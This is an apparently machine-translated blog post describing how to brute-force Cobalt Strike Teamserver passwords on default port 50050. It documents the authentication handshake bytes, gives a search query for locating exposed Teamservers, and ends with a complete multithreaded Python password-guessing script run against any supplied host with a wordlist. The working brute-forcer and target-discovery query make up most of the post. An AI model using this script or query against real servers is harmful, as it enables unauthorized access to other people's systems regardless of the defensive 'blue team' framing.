Blue eat set red - burst CS Teamserver password

Posted by phpbaby2009 on Tue, 15 Feb 2022 03:57:06 +0100

0x00: Introduction

Cobalt strike (hereinafter referred to as CS)#
As we all know, CS is a GUI framework "multiplayer movement" penetration test tool based on MSF. It integrates port forwarding, service scanning, automatic overflow, multi-mode port monitoring, exe, powershell Trojan horse generation, etc
Phishing attacks include: site cloning, target information acquisition, java execution, browser automatic attack, etc.
Cobalt Strike is mainly used for team operations. It can be described as a team penetration artifact. It can allow multiple attackers to connect to the group server at the same time and share attack resources, target information and sessions.
As a collaborative apt tool, Cobalt Strike has become the first choice of many apt organizations for intranet penetration testing and as the control terminal function of apt.

0x01: cause

1. In order to make it easier for friends to connect to Teamserver quickly, many teams basically set weak passwords, such as 123456, 123123, etc
2. Many also use the default Teamserver port 50050
3. Gather the above weak entry points and start testing the blasting connection.

0x02: write

1, Own teamserver link test. After the server is set up, access the test through the browser. The test results of google browser are as follows.
The test results in Firefox browser are as follows
F12 see what happens
2, Let's take a look at the authentication method of Teamserver.
if [ -e ./cobaltstrike.store ]; then
    print_info "Will use existing X509 certificate and keystore (for SSL)"
else
    print_info "Generating X509 certificate and keystore (for SSL)"
    keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
fi

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
The first is the raw data type ostensibly used to protect the authentication of the socket.
The second is authentication based on Java serialized objects, including user names that are mostly symbolic.
Including cobalt strike The store is like this
In a fixed 261 byte command, the first authentication request is roughly defined as follows:
4 Byte Magic \x00\x00\xBE\xEF
1 Byte Password Length (unsigned int)
Password (unsigned int cast char array)
Padding \x65 "A" * ( Length( Password ) - 256 )

It looks like this on the wire, but the fill is ignored and can be anything. The authentication routine reads up to 256 "lengths"#

\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA
If the password provided matches the password defined when starting the team server, the team server will reply with a 4-byte password.

< this password cannot be empty >

\x00\x00\xCA\xFE

Otherwise, the team server returns null

\x00\x00\x00\x00

3, Writing ideas of Python 3#

conn.open(host, port)

payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))

conn.send(payload)
Finally, judge whether the returned result exists "\ x00\x00\xca\xfe". If so, the password is correct
4, Find the team server of the roosters
"Cobalt strike" && port="50050"

5, Open whole

#!/usr/bin/env python3

import time,socket,ssl,argparse,concurrent.futures,sys

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",
                    help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
                    help="Newline-delimited word list file")

args = parser.parse_args()

class NotConnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node

class DisconnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node

class Connector:
    def __init__(self):
        self.sock = None
        self.ssl_sock = None
        self.ctx = ssl.SSLContext()
        self.ctx.verify_mode = ssl.CERT_NONE
        pass

    def is_connected(self):
        return self.sock and self.ssl_sock

    def open(self, hostname, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)

        if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
            self.ssl_sock.connect((ipaddress, port))
        else:
            self.ssl_sock.connect((hostname, port))

    def close(self):
        if self.sock:
            self.sock.close()
        self.sock = None
        self.ssl_sock = None

    def send(self, buffer):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        self.ssl_sock.sendall(buffer)

    def receive(self):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size = 0
        data_buffer = b""

        while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)

        return data_buffer

def passwordcheck(password):
    if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host, 50050)
        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
        conn.send(payload)
        if conn.is_connected(): result = conn.receive()
        if conn.is_connected(): conn.close()
        if result == bytearray(b"\x00\x00\xca\xfe"): return password
        else: return False
    else: print("Do not have a blank password!!!")

passwords = []

if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else: 
    for line in sys.stdin: passwords.append(line.rstrip())

if len(passwords) > 0:
    attempts = 0
    failures = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:

        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
        for future in concurrent.futures.as_completed(future_to_check):
            password = future_to_check[future]
            try:
                data = future.result()
                attempts = attempts + 1
                if data:
                    print ("Successful Attack!!!")
                    print ("Secquan NB!!")
                    print("Target Password: {}".format(password))
            except Exception as exc:
                failures = failures + 1
                print('%r generated an exception: %s' % (password, exc))

else:
    print("Password(s) required")

Execution mode: test py x.x.x.x pass. txt

pass.txt is the password file you want to explode Article reference

https://github.com/ryanohoro/csbruter